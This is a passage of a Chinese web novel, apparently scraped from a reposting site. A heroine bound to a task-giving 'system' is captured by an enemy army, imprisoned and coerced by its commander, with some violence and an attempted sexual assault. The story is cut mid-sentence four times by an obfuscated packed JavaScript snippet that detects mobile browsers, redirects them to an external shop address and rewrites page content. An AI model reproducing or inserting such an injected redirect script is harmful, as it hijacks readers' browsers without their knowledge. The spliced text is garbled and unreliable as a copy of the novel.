秦安肆这人就是管不住嘴,其实要哄,也挺好哄的,怕就怕现在这个情况,她也控制不住脾气的情况,而且其他人也…… “……我去追他。” 林清月追了出去,她跑出去的时候,秦安肆已经走了很远,喊他他也自然是不吭声,就那么往前走。 这山洞是在一个小树林里,障碍物很多,林清月一边挥袖子打走蚊虫一边忍着嫌弃,“秦安肆!你再走就真的别回来了!你……大不了我不跟你争了,你自己去改,我不插手!总之你先回来!!” 骗他的。 他改得有瑕疵是真的,但现在主要任务是让他回来。 林清月一鼓作气跑过去,抓住他衣角,他此时反应快得很,当即就甩开了。 “反正你我定位相同,反正你——你们从来都看不惯我,那炸药包也是你自己要改的,干我什么事?你自己去改呗。他们都让我走,我不走还干嘛?” “不是……” 林清月再次伸手,这回用两只手抓住了他手腕,他不好挣脱了,转头恶狠狠瞪她,“放手!” “不放!”林清月跟他二人互相使劲,“你跟我回去……我承认我有些不冷静,我跟你道歉行不行?” 等回去了再骂。 这狗玩意儿。 林清月咬着牙:“对不起。” 秦安肆不领,使劲把她的手掰下去。她本就使着劲,惯性让她退了一步,好巧不巧就踩着了个石子,往后一仰撞到了树上。 林清月:“……” 秦安肆:“……苦肉计?” 林清月本就气得脑壳晕,一撞直接把她撞懵了,没回应对方的话。 于是秦安肆说:“死心吧我不会回去的。”然后头也不回走远。 等脑瓜子嗡嗡完,他已经走了好长一段路。 林清月爬起来继续追,为了节省力气没喊了,她在心里把秦安肆祖宗十八代都问候了个遍,气冲冲追在他身后,好在他是正常行进速度,挺好追。 眼见着距离越来越近。 忽然,她被人从背后禁锢住脖子。 “秦安肆——!“她下意识喊了前面人一声,但对方脚步不停,头都不回一下。 身后那人紧接着捂住她口鼻,意识瞬间模糊。 昏迷的那一瞬间,林清月在心里骂:秦安肆是傻逼。 “沙沙沙” 那一声呼喊后,仿佛是有风来,树叶被吹动了—— 秦安肆忽的停下脚步。 不对,没风啊。 他双眼猛的睁大,转身去看。 身后空无一人,哪里还有什么林清月。 …… 【解锁任务:逃出敌方大牢,并得到重要情报】 【警报!警报!请宿主尽快完成任务,堆叠任务大于三个,将受到随机惩罚!】 【警报!警报!请宿主尽快完成任务,堆叠任务大于三个,将受到随机惩罚!】 【警报!警报!请宿主尽快完成任务,堆叠任务大于三个,将受到随机惩罚!】 “……” 天杀的。 林清月一醒来,还没意识到自己是在哪,先是被人泼了一脸冷水,再是脑海中系统轰炸。 她很想骂这个系统,但此时的情况不允许。 因为面前的人拿着鞭子唰唰唰,在鞭打被捆在柱子上的…… 林清月抬头,与被打的人对上视线。 双方都挺绝望的。 ……他们的卧底。 叫什么来着?好像是李驰。 “快说!你偷听有什么意图!” “她醒了大人。” 彼时,林清月刚把身体撑起来,立马就被人揪着衣领拎起来,那拿鞭子的人对着李驰说:“你认识她不?!” 他们都沉默了。 林清月跟他对视了几秒。 这咋办,他看起来比她更想死,要不她想想办法混过…… 【恭喜宿主找到烟火大传承指定传承人!解锁任务:与传承人结契!(注:本任务可解锁60%进度)】 林清月:“……” 【警报!警报!请宿主尽快完成任务,堆叠任务大于三个,将受到随机惩罚!】 【警报!警报!请宿主尽快完成任务,堆叠任务大于三个,将受到随机惩罚!】 别混了,让她先死吧。 林清月反手拔下持鞭人腰间的剑就放在脖子上。 被持鞭人惊恐瞪大着眼睛拦下了,把她甩在地上,抚摸着自己的剑安慰。 林清月发疯:‘我只是看了他一眼!任务可以撤回吗,可以撤回吗?之前也没见你解锁这个任务啊!’ 【宿主,666都是按照宿主走向,综合剧情完成度和发展各方面来……】 ‘可我只是看了他一眼!!’ 系统的声音顿了顿,接下来很机械的回答。 【无法撤回。】 林清月深吸口气,退而求其次,打探问:‘那个什么惩罚,是什么?’ 系统的声音再次恢复原样。 【宿主,惩罚都是随机的哦~】 林清月张口就要骂他。 系统立马又说: 【不过宿主放心,666检测过了,附近再没有其他的剧情点啦!】 最好是这样。 “……是我!是我!”李驰的声音传入耳中,“我说我都说,你们别杀她!” 林清月张大了嘴想起来,又被压回去。 不是兄弟你,你这就招了? 她还想着用他卧底身份做什么呢?! 而现在。 结果就是,他被一番严刑拷打,真真假假说了些,然后跟她做了监狱邻居。 “你说,这儿会有老鼠吗?” “有,姑娘晚上睡浅一些。” “……啊。” 林清月望着地上的草垛,始终不肯坐下,哪怕她现在头很晕。 又是一阵沉默。 半晌,林清月试探着往前走了一步,腿一软,直接摔在了地上。 李驰闻声望过来,见她跌坐在地上十分难受的样子,关切开口:“……嫂子?你还好吗?” 林清月立马意识清醒,语气中带着无尽的疑惑:“什么?” 李驰扒着墙上小窗口的铁柱看她,十分愧疚:“对不起,是我辜负了将军,我没做好……还害得嫂子你也被抓进来了。” 林清月知道自己身体不好,刚刚气急了,又被药物和冰水刺激过,有些不舒服是正常的,便忍了忍不适,道:“别喊我嫂子……你说说,他们为什么抓我?” 当时秦安肆也在旁边,怎么就不抓他啊? 李驰说:“你也听到他们说了,我偷听被抓到了,或许是因为你是将军的妻子,所以他们才抓你过来,料定我会为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他又看了看林姑娘给的药物,这次毫不犹豫抓起药物就去找了军医。 彼时林清月还在牢狱里崩溃。 她身负三个任务。 百宝袋也没了。 还被限制行动。 死吧,死了算了。 “嫂子……姑娘,你真的没事吗?”李驰见她靠在墙上,脸色越来越白,面色越来越难看,心中泛慌,“我、我对不起你们……” 突然,外头传来一阵脚步声。 这里的士兵把林清月的牢门打开,进门就把她给拎起来,一群人人高马大,来势汹汹,林清月直接腾空,心里平静的像是死了,甚至还能朝慌张的李驰挥挥手拜拜。 李驰急得要哭了。 嫂子就是个没啥用的姑娘,这一去也不知道…… 他恨不得打自己几巴掌。 都怪他,这事儿都怪他! 而正被拎着到处走的林清月异常冷静,她现在心如死灰。 直到被扔在坎坷不平的地上,抬头,他看见一张熟悉的面孔。 ……靠啊。 冤家路窄。 这不是差点被她炸得断子绝孙的那个将领吗? 26. 狼虎环伺 之前听顾寻风说,那次打起来,他们的将领也有损失,这家伙,现在完好无损站在这里。 真特么能活。 再一转头,她发现现在正在一个帐篷里,除了这个将领,还有其他的一些人,看着服饰是另外几个将领,正中央有一个服饰繁冗些,大概是位置更高的人。 还没分析完,林清月脖子一紧,被那个将领掐着脖子,堪堪跪在地上。 这人劲真大。 林清月立马在他手背上抓了几道血痕,厉喝:“放开我!” 她现在非常不舒服,非常非常,每当这种时候心情也会十分暴躁,她的脸色惨白,身上衣裳的边边角有些破烂,还有些脏,一双眼睛因为突然的缺氧而蒙了一层水雾。 那个将领俯视了她一会,竟没恼,笑了一声:“跟挠痒痒似的。” 林清月:“?” 挑衅她??? 林清月忍不了这气。 就在对方要松手的时候,她盯住那只手,丝毫不留情咬上去。 ……好臭。 想yue。 那个将领把她踢开了,她伏在地上咳嗽,偷偷呕了几下。 耳边是其他几个将领在说话。 “我没骗人吧,这娘们真漂亮得很,没想到性子还挺烈,那顾寻风真是艳福不浅啊——” “那药当时送过去了吧?” “当然送过去了,”这人笑一声,“一夜下去,没感情也该有感情了。若是他知道他心上人被我们抢来糟蹋,也不知会是什么表情。” 林清月:“……” 嚣张恁爹呢,揍一顿就老实了。 这时那个将领又把她拖了起来,把她扔在一边空着的座椅上,说着:“那就看看到底有多漂亮呗。” 林清月被丢来丢去要被丢昏了,偏偏不舒服的感觉还未消散,手脚乏力,反应力也不及时,叫他抓住了腰带。 他就按住她肩膀,接着暴力一扯。 林清月抓着自己的衣服,一下就清醒了,她脑袋炸了。 那是!顾寻风送她的衣裳! 最好看的一件!!! 她抓起旁边桌上的茶杯狠狠往桌上磕碎,手上一点都不留情,直接往对方脸上狠狠划了一下,鲜血溅在她脸上。 看老娘断子绝孙t…… “行了。”有人说话制止。 林清月:“?” 腿都抬起来了要让她收回去? 做梦呢! 林清月没停,凶狠踢过去,其余将领都吸了口气,那将领躲了一下,但还是痛呼一声,把她甩到地上,孙子一样提溜着垮扭到那个喊停的人身边去,控诉:“大帅你看她!她就会耍阴招!” 林清月觉得这群人跟有病似的。 一群大老爷们茶里茶气。 她浑身跟散架了一样疼,特别是刚才被那个将领踢中的腰那块,后知后觉开始疼起来了。 “自己功夫不到家,少说话多练。”大帅说。 林清月此时已经抓回了自己红色的的腰带,随便往腰上缠了一圈,打个死结。 抬头,就看见那个大帅一双大臭脚。 她抬头恶狠狠盯着他的动作,生怕他也跟刚才那个人一样粗暴,只见他蹲在她不远处,掏出了一个药瓶放在她面前。 “别这么看着我嘛,我是想跟你认识认识。” 林清月把药瓶扇回去,气急了,“有这么个认识法??!你们国家的人可真有特色!” 有病,都有病,有大病。 说着,有些松的衣裳不听话的从肩上滑,正烦躁,林清月抓着衣服拢回来,把松在外面的的衣料都往腰带里塞。 掉掉掉,掉什么掉! 很落她气势知道吗! 等都塞紧了,她继续瞪着那位大帅,声色凌冽:“我已经落在你手里,要杀要剐随你,只是我家将军会不会放过你们国家,这我可不敢保证了。” 大帅有点黑,穿着盔甲还有些壮,但说话较为温柔,也不回她的话语,望着她兀自介绍起来:“我叫齐锋眠,这儿的大帅。” 林清月好脾气一点儿没有,反问:“把我抓来不知道我名字?我傻还是你傻?” 对方倒是个好脾气,微微笑,眯眯眼—— 林清月当即得出结论,这人不简单,一般来说眯眼定律都是这样。 只听得他略微抱歉的声音:“实在不好意思,我属下不懂事,让你受惊,作为补偿……” 他将倒下的重新竖起来,朝她那边挪,“清月姑娘就收下我的药吧。” 林清月想想就气,想到这元帅乱她一脚,更气。 于是毫不犹豫,拿起药瓶往旁边摔,摔得稀碎。 骂道:“你们一群神经病!谁敢要你的药,反正我不敢!” 有将领拍桌而起指着她:“你别得寸进尺!” 大帅抬手,制止了他,定定望着面前的姑娘,片刻后,开口说话,声音没有丝毫波动,还是带笑的温润:“没关系,清月姑娘。其实这次,我们也并不是要为难你什么,只是想与你合作。” 他抬手,撩起对方发丝。 被一掌拍走。 看着面前的人瞬间往后挪了好远,他不恼,还是笑。 “总之你现在也已经到了我手上,不如就从了我,我能给你的东西……会比他更多。” 林清月刚要拒绝,转念一想,她若当即拒绝,以后就在牢里度日别想出来了,还得到情报,得个屁嘞。 于是,让他滚的话到了嘴边,变成了:“细说。” 大帅站起来坐回去,见林清月整理好衣服起了身,才缓缓开口道:“你想要什么?” 林清月:“是大帅说会给我的东西多得多,何必多此一问,莫不是都是空口白话,没有一样拿得出手的?” 一旁将领怒极反笑:“我们大帅文韬武略样样精通,官职也比你们那什么大将军高上不少,你们那什么大将军除了长得好看,哪点比得上我们大帅?” 嚯,那边将军脑,你们大帅脑是吧。 林清月嗤笑:“怎么,你知道没你们大帅行,你试过?” “?”将领怒瞪双目,拍案而起,“你一个民妇,竟这般不知廉耻口出狂言!” 继而又看向大帅说:“大帅,何不直接严刑拷打得到更多的情报,这么个人怎么配得上你?一介妇人,撑不住拷打的!” 大帅摆手:“谁许你插嘴?” 那将领再气也没办法了,只能坐回去。 林清月再看向大帅,凛声道:“我想要什么,取决于大帅你能给什么,大帅,要合作,先拿出诚意来。” “好。”大帅回答的也是毫不犹豫,他眸中笑意更深了,紧紧盯着她,“清月姑娘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14024065|146144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,若你想要钱,我可以给你,多少都没问题,何必还需要花费精力去管理一个店铺……” 林清月叉腰:“我喜欢管,你管得着?” 你不懂什么叫充实的生活,还是说搞性别歧视呢,傻逼。 “论权利,我比他大得多,你喜欢,我也可以让你开更大的店,他如今空有一身容貌和武力,可是什么都没有。” 大帅挑眉,上半身向前,一条手臂撑在腿上:“清月姑娘不关心政事,应是也不知道,桑朝如今内乱频频,从前可不是桑朝——是被你家将军撺掇皇子篡位,而改的桑朝。” “怎么,开始诋毁了?”林清月向前几步,表情凶狠,“大帅又有多么善良,多么慈悲呢,都是身经百战的人,谁手上没沾点血?同样,都是朝廷的人,谁又比谁好心?” “看来清月姑娘倒是很维护他。” “他,我夫君,谢谢。” 林清月思索着,接着又说:“不过,我也不是不可以考虑大帅说的事,只是我与将军情谊笃深,断不可能就这样,轻易背叛。” 大帅沉默,不知是在想些什么,片刻后,他让其他人都退下了,顷刻间,帐篷内只剩他们二人。 林清月顿感不妙。 大帅在往她这边走,盔甲碰撞作响。 走过身侧,他停下脚步,声音近在耳边:“你是被我掳来的,谈何背叛?” 他这话什么意思? 突然,一只手搭在了她手臂上,那话语,变得更近了,她隐隐都能感觉到盔甲就在自己身后。 “你是……被我掳来的,要杀要剐,或是要什么……” 他另一只手抬起,顺着腰带往前去,像是要把她从后方搂住。 “都随我便,是吗?” 林清月在心里默念三遍莫生气打不过。 她抓住在腰侧的那只手,想要挪开,但挪不动,反而被控制着抵到了桌前,撞掉茶杯。 “如果大帅所说的合作是这样,那我拒绝。” “拒绝?”他的手紧了紧,掐得她生疼,“你现在有这样的权利吗?” 在来到这个世界之后,林清月是头一次这么想回家。 她是鬼点子多,是不怕事,是胆子大……但她怎么斗得过一个武功高强又身居高位的坏男人,还是敌军的人。她被捆来了这里,腹背受敌,进不可攻退不能守。 她再怎么天才,再怎么聪明,她也没有任何武力去对抗啊。 这人明显就是个不讲理的人。 都直接把她掳来了,还能讲什么鬼道理! 对方的手掐上了她脖子,她张口就咬下去,却被反掐住下巴—— 这些招数对这样鸡贼的人来说根本没用。 林清月没放弃挣扎,但什么都做了,每次又被对方巧妙给化解。 “清月姑娘,再这样下去,怕是会伤到你。”大帅的声音近在耳边。 她极力躲避,此刻两只手都被控制着动不了,只能努力与他隔开些。 “大帅若是想要得到什么,最好就此停手。”林清月回眸瞪着他,再次出声,言辞凌厉,“否则,我会毫不犹豫,与你同归于尽。” 就在此时。 【恭喜宿主成功结识药师楚才,烟火大传承任务进度30%】 同时,帐篷外响起通报声。 “大帅,楚才求见。” 27. 楚才是猪 对于被打扰这件事,齐锋眠极为不满,但想到往后这楚才还有用处,还是压下了个人情绪。 他松开禁锢着林清月的手,走回座位上,吩咐外面通传的士兵:“领过来。” 林清月瞬间脱力,跌在了地上,她立马趁着空隙调整呼吸,顺便吐槽系统:‘有时候我真不知道你任务完成的标准是什么……’ 不过,系统的回答没等到。 反倒是听到了秦安肆的声音:“林清月?” 林清月:“!” 居然这时候连上了! 她赶忙问了那边的情况。 秦安肆说:“我们现在正在赶进度,打算多做几架大炮出来,然后,你说的那种改良方法,我试着做了做,还行吧,但效果不知道如何。” 林清月放心了,她真怕秦安肆轴到底,能接受她的建议就好。 她又问:“你看到我的……” 百宝袋了吗。 话还没说完,她看见楚才走进帐篷,腰间挂着她的百宝袋。 她的百宝袋…… 于是,她改口:“你们把百宝袋给楚才了?” 秦安肆疑惑:“没有啊,是被顾寻风拿走了……你那边现在怎么样?” 林清月不想说话,她现在很不好。 没听到回答,秦安肆也没多问,猜测她在敌营也没什么时间闲聊,便叮嘱了句小心,结束通话。 “大帅,您要我做的事我也做得差不多了。”楚才仿佛没看见她一样,径直走到中央,朝齐锋眠拜拜,“不知道是否可以……” 齐锋眠笑问:“谁告诉你,你的事情做完了的?” 楚才失落垂眸:“我只是担心……” “你放心,等事情都结束了,我们不管成败,都会信守承诺的。” 楚才没说话了。 他从袖口拿出一小瓶药,呈上去,“大帅前些日子要我研制的东西,不过不建议现在用。” 齐锋眠点头,“好,还有其他事吗?” 还怪礼貌。 林清月已经恢复了些力气,站起身来,看向那药瓶,没有好气的率先开口:“我没事了,我可以走了吗?” 齐锋眠笑了一声,望向她,“你的事还没做完,怎么能走?” 林清月自然知道他说的是什么,翻个白眼。彼时,楚才仿佛才看到她一样,一脸惊讶:“姑娘怎么会在这里?姑娘不是桑朝人吗?” 林清月心说她这个狼狈样,一看就知道是被抓来的了。但转念一想,她这么大个人在这,楚才不可能现在才看到,而且楚才身上还有她的百宝袋…… 于是林清月开始了。 她指着楚才满脸愤怒道:“我?你不也站在这里吗?还是好生的站在这里,真没想到,你居然是这样的人,一个叛徒!” 楚才有些慌张,“我是听说了有抓人来,但我也不知道会是姑娘呢,怎么会是姑娘你……我、我……” 高坐上,齐锋眠忽然问:“你不知道她的身份?” 楚才跪下了,“大帅,姑娘是我同乡,虽然不知道怎么惹了大帅不快……但可不可以,不要再伤害她,我给她医病好久了,她身体不好,我……我可以代替她受罚。” 齐锋眠微微蹙眉,把玩着手中的药瓶思索。 楚才接着道:“或者说……大帅还想要我帮您做什么,我都做。” 他十分诚恳。 齐锋眠依旧没说话。 半晌,楚才跪得膝盖都疼了,他咬咬牙,取下腰间的百宝袋,双手递上:“楚某昨日被将军请到军营帮忙,这是楚某从军营中偷到的东西,不知,可否……?” 他话没说完,停住了,抬眸看着齐锋眠。 林清月:“?” 齐锋眠:“这便是当日拿出东西炸了我们将领的神物?” 林清月:“??” 齐锋眠看着她,含笑接过百宝袋,在手中颠了颠:“好,那我暂且放过她。看你们关系倒是不错,不然就跟她做个邻居,在牢房待上一阵子吧。” 林清月:“???” 林清月这回是真的想骂就骂了:“楚才你个死叛徒!” 她的百宝袋啊! 她气愤得一时都没想到,顾寻风武功那么高强的人,怎么可能叫一个手无缚鸡之力的书生偷了自己妻子的物件。 “你个傻……你是猪!这样对你有什么好处啊!”林清月忍住自己没直接骂出来。 “姑娘不要生气……” “我不生气啊!” 不生气啊,只是脑壳有点昏,一昏就控制不住情绪。 为什么昏? 总不可能是因为生气吧。 总之齐锋眠最后总算是没再碰她,把他们二人都押回了牢房,她左一个看见她衣衫不整回来直接哭起来的李驰,右一个郁郁寡欢自责的楚才。 她在中间捂着耳朵,站靠在墙壁上,在跟系统说话。 ‘这样我就没有被惩罚的危险了吧?’ 【没事哒宿主,我们的惩罚也都是很人性化的!】 ‘?几个意思?’ 她现在已经只有两个任务了啊,难道还有被惩罚的风险? 不可能吧? 不可能,一定是这个系统的问题。 有个说话说不明白的系统真是糟心。 【宿主放心,百宝袋乃九天之物,有自我保护能力,不会被摧毁,而且还极其认主,他人是拿不出东西来的。】 ‘最好是这样。’ 她现在不信任何人的任何话了。 联系完系统,她瞪了眼李驰,狠狠斥他:“哭什么哭!我又没死你跟哭丧一样,闭嘴,吵死了。” 然后转头看向楚才,走到窗前,见他蹲在阴暗的小角落里,也要哭了的样子。 “还有你。”林清月用力拍墙,直到他看过来才停下,继续说:“你究竟是怎么回事?还有,你真不知道我的身份?” 楚才泪眼盈盈摇头:“我的家里人都被他们盯着,我没办法,姑娘……对不起把你牵扯进来。” “他们又不是因为你抓我的,你站起来,过来——” 楚才犹豫着没有动,问:“姑娘不会打我吧?” 林清月无可奈何,吼他:“我是那样的人吗……快过来,听到没!” 她生怕他会因为隔墙有耳不敢说什么,催促着让他走到窗边来,这才轻声道:“我是顾大将军的妻子,你真不知道?你都是被他请去军营的,你还没猜出来我的身份?” 楚才哭啼啼的,声音颤抖:“正是因为猜出来了。我以为是将军已经发现我了,随便抓了个人假扮夫妻,来试探我的啊!所以我、我去偷了百宝袋自保才逃出军营。” 林清月心道不可能。 他们军营到这里有些距离,若按照时间来算,她失踪直到刚刚,应该有一天多了,百宝袋丢失,顾寻风怎么可能不告诉秦安肆他们? 这么大的事情…… “你还撒谎。”林清月眼中有些怒火,看着他,“这根本不符合逻辑。” 楚才掩盖什么似的垂眸,喃喃说:“我说的就是真的……” 边说边往后退。 林清月咬咬牙,还想继续问。 这时外头传来了有人倒地的声音,然后是越来越近的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14033154|146144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脚步声和甲片碰撞的声音。 什么鬼动静? 林清月跑到牢房门口,往声响发出的地方望去。 她看到了一个意想不到的人,登时瞪大了双眼。 “顾……寻风?” 来人一身玄黑的盔甲在身上,里头是赤红和暗绿色的衣裳相称,盔甲上金纹闪闪,头顶束发的金冠上还嵌着一颗红宝石,衬得整个人都夺目耀眼。 顾寻风向她走来,手腕一转,把剑收回剑鞘当中。 “你们怎么都在这里?” “……” “早知道多带几个人。” 林清月:“你就这样闯进来了?” 顾寻风甩了甩手中抢来的钥匙,径直走到林清月的牢门口,什么都没说,打算打开林清月的牢门。 钥匙都准备开转了,林清月却忽然抓住他手腕制止:“你把楚才带走。” 顾寻风不解:“为何?” “他用处比较大呀。”况且她还有事要做,若顾寻风只能带一人走,那必然是要把楚才带走。 顾寻风却道:“可我是来带你走的。” “……都这种时候了你别想着儿女情长……”林清月想说教说教他。 “不是儿女情长,我办事很理智,你在这出事的话,我的东西找谁要去?”顾寻风满脸疑惑,看着她歪歪头,一副不情愿的样子,“况且你给的药挺好用的,军医也用得过来,不是非要楚才。” 林清月受不了了,强硬道:“我让你救他就救他,磨磨唧唧。好好好,你有你的理智,那我也有我自己的考量行不行,我不会让自己死的!” 说完,她直接抓住了顾寻风的手,把钥匙拿了出来,推着他去隔壁,“快去快去。” 顾寻风见事情都这样了,便不再多言,还是去开了楚才的牢门,出来后楚才跟在顾寻风身边,泪眼花花看着林清月。 顾寻风对她说:“那你等我再来。” 林清月望着他的背影,心道这人真把敌营当自家了,说来就来说走就走,吐槽了一句,她回头看向另一侧牢房,走过去,“李驰。” 李驰赶忙应声,他跑到窗前,认认真真说:“姑娘大义,在下佩服。看到你与将军感情好,我也放心了,等将军来接你走,你们就都不要回来了,是我背叛了……” “你想不想炸牢房?”林清月忽然道。 她仿佛没听到李驰自责准备牺牲在这里的话似的,自顾自说道:“他们这牢房看起来比你们的要好许多,看来你们那建筑是真的不行啊……还是得想办法改良……” 李驰目瞪口呆,结巴了:“炸、炸牢房?” 林清月点头,“对。” 她笑着,把手伸过去拍了拍对方的肩膀说:“放心,等我们安全回去了,我会跟将军说你好话的,现在咱们就等着将军回来吧。” 两边离得不近,顾寻风还带着人,一来一回,至少也要一日,林清月不着急,坐在牢房的床上思索着接下来该怎么从牢房出来,又能不让那个老匹夫得逞。 炸牢房?再来一遍也无妨。 话说那楚才被劫走,军营内有不小的波动,巡逻肉眼可见更严了,也不知道下次顾寻风还能不能这么轻松就混进来。 不过这些,林清月暂时无法去想。 因为大帅不知怎的,忽然说要请她喝茶。 莫名其妙。 林清月被带去了一处喧闹之地,她坐在大帅边上,而面前是敌军比马术的吵闹声。 “不知大帅找我来为何?” 大帅轻轻摇着手中茶杯,缓声道:“你可知,当初我们是如何驯服那匹赤兔马的?” 28. 家族信物 “……”林清月着实无语了。 合着还记着这仇呢。 如今也算是冬日,林清月身上衣裳又薄又破烂,冷得不行,偏偏这齐锋眠不让她走。 “并不想知道。”林清月没有好气。 齐锋眠与她之间隔着一张小桌,桌上放着热乎乎的茶,林清月没动过对方给自己倒的茶,她心里极度不爽。虽然牢房也不太干净,但至少比在外面吹冷风的好啊。 而且谁知道这齐锋眠是什么心思,会不会在发觉得不到她后宰了她。 因此林清月也不敢表现的太过放肆,包括现在,齐锋眠隔着一张小桌,拉着她的手臂强迫她凑近,都能感觉到他的气息。 “那清月姑娘,是如何驯服的呢?我还挺好奇。” “它喜欢我,怎么的?” 林清月没敢反抗,但也没有顺着他说话,抬眸瞪了他一眼,话语冷冽:“大帅莫不是还记着这个仇,如今……想要报复回来?” 齐锋眠看了她许久,不知在想什么,半晌,忽而一笑,松开她手臂,叫人拿了件披风过来,并亲手将披风盖在她腿上。 “清月姑娘,天寒地冻,起身走走吧。”齐锋眠发起邀请。 林清月思索片刻,同意了。 她站起身来,毫不犹豫把披风一抖往肩上甩,动作飒爽得不行,让齐锋眠本打算帮她的手直接顿在了半空。 “那走吧。”反正就坐在这看他们跑来跑去也怪无聊的。 这军营的构造比之他们绑定的那个军营,可以说是严谨许多,防守力满分,巡逻也安排得十分紧凑,真不知道顾寻风是如何混进来的。 若是仲长椿过来看看这构造,当场反水都说不定。 林清月边走边观察着整个军营,齐锋眠却忽而靠了过来,将她身上的披风又拢了拢。 齐锋眠站在后侧,寒风一起,他肩头的发丝都被吹到了她脖子上挠着。 “谢谢。”林清月加快脚步,不管他的手还在自己肩头,撇下他捏着披风就溜之大吉。 居然妄想勾引她。 待对方愣神后跟上了,林清月瞥他一眼。 其实齐锋眠长得不差,或许因为常年在军营风吹日晒所以黑了一点,但人家脸撑得住啊,一身银白甲胄,眉目端正,看得倒是正人君子的模样。 “……” 实际上不干人事儿。 林清月愤愤挪开目光。 况且也不在她审美上,就算来了之后绑定的是这个军营,他们也真的就只会是合作关系。 她可就喜欢挑逗顾寻风那个漂亮的小木头。 “大帅。”林清月声音淡淡,喊他,“我的东西还我。” 她的百宝袋啊。 齐锋眠唇角一勾,从腰间掏出楚才奉上的那个东西,挂在手指上晃荡,明知故问:“这个?” 见他手抬得不高,林清月伸手要去抢,果然,没抢到,却没想到对方如此没脸没皮,竟然直接将她拦腰揽入了怀中去。 “有病啊你!”林清月破口大骂,拼命挣扎,把他的手扒开了去。 看着他缓缓收回百宝袋,林清月拢着自己的斗篷,冷静下来想了想,而后眼皮掀起,抬眸直视着他。 “我们做个交易。” “什么?”对方含笑的眸子与她对视。 林清月一张认真脸,正准备说话,齐锋眠忽然错过他往前走去,“进帐篷说吧。” 林清月想也行,外面风吹得也冷,她便跟着进了帐篷。 齐锋眠坐在正中的位置,她没坐,站在齐锋眠对面,见他单手撑着脸,发丝随着动作落在肩头,披散在深灰色的衣裳上,他眸中带了探究望过来,笑问:“清月姑娘想与我做什么交易?” 林清月深吸口气:“我可以帮你对付他们,但是,你要把我的东西给我。” “帮我对付他们?” 齐锋眠声音压低了些,似是在跟自己说话似的,眼眸中盛满了笑意,看不清其他的情绪,忽而,齐锋眠把她的手腕抓住往自己这边一带。 他们的距离陡然变近,只隔着一张桌子,林清月用手撑着桌面不让自己再弯腰下去,看着近在眼前那深不见底的瞳孔,皱起眉头。 她不喜欢这种感觉,这种被人玩弄于手心的感觉。 “大帅不相信?” 齐锋眠又骤然松手,言笑晏晏:“相信,当然相信,毕竟那夜,他宁愿救走楚才,都不肯救走你,不是吗?” 林清月一愣,旋即明白过来,这贼人是以为他们夫妻因为此事感情破……等等,那也就说明,他早就知道是顾寻风混进来了?! 她就觉得事情不简单。 果然不简单。 下一秒,一个穿着夜行服的人窜进来,单膝跪在地上,他身上还有伤,似乎是想禀报什么,但看到有人在,又住了口。 齐锋眠道:“说,自己人。” 那人赶忙道:“失败了,埋伏在苏周城楚家的内应突然死掉,我们也反被埋伏。” 齐锋眠略微蹙眉,手中拿着一块玉,在桌子上一敲一敲的,“谁埋伏你们的?” 黑衣人:“说来奇怪,貌似是桑朝皇宫那位的禁卫,不知皇宫那位是如何得知此事……这是混战之中我取到的牌子。” 黑衣人呈上一块令牌,林清月一瞅,这令牌看着比顾寻风那块还要精致,上面刻着龙纹,闪闪发亮的,看起来还是真货。 齐锋眠也意识到问题的严重性,吩咐下去:“顾寻风与那位关系颇深,许是顾寻风意识到了,故而传信过去帮楚家的。苏周城那边先不管了,总之他的用处大部分也都尽了,只剩最后……” 说到这,他一笑:“没关系。”他挥退黑衣人,随后看向林清月。 “清月姑娘……如何证明自己的诚意?” 林清月也朝他笑,反问:“大帅都拿到这东西了,也该知道,这东西在你手上,并没有用吧?” 齐锋眠下意识摸了摸腰间那百宝袋,的确,对于他来说,这就是一个空袋子而已,若不是看见这林清月真因为这袋子有情绪波动,他早丢了。 “我是个按照自己想法来的人,上回大帅强迫我的时候,我其实已经不想再谈合作这件事了。”林清月踱步,话语之间已经走到齐锋眠身边去,微微弯身。 齐锋眠一顿,听得耳边笑音漫漫,“你们都是些自称理智的家伙,我忽然觉得,他与你也没什么区别,况且我的东西在你这里,我的人也在你这里,我想,我离不开你,而你——” 说着,林清月的手摸到自己的百宝袋, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14042994|146144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手腕一用力,把百宝袋从他腰间抽了出来,当着他的面从里面拿出了一个小炸弹,放在桌上。 这才继续说话:“而你,也离不开我。” 